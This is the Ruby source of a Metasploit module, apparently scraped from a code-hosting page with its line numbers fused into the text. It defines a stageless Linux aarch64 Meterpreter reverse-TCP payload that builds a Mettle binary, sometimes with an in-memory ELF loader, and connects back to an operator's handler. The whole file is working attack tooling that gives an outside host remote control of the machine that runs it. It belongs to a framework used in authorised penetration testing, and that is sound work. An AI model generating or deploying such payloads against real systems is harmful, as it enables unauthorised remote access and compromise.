Path: blob/master/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb
32944 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456# Module generated by tools/modules/generate_mettle_payloads.rb7module MetasploitModule8CachedSize = 1184784910include Msf::Payload::Single11include Msf::Sessions::MeterpreterOptions::Linux12include Msf::Sessions::MettleConfig13include Msf::Payload::Linux::Aarch64::ElfLoader14include Msf::Payload::Linux::Aarch64::Prepends1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Linux Meterpreter, Reverse TCP Inline',21'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',22'Author' => [23'Adam Cammack <adam_cammack[at]rapid7.com>',24'Brent Cook <brent_cook[at]rapid7.com>',25'timwr'26],27'Platform' => 'linux',28'Arch' => ARCH_AARCH64,29'License' => MSF_LICENSE,30'Handler' => Msf::Handler::ReverseTcp,31'Session' => Msf::Sessions::Meterpreter_aarch64_Linux32)33)34end3536def generate(_opts = {})37opts = {38scheme: 'tcp',39stageless: true40}.merge(mettle_logging_config)41payload = MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec42ds = opts[:datastore] || datastore43if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17')44return payload45end46in_memory_load(payload) + payload47end48end495051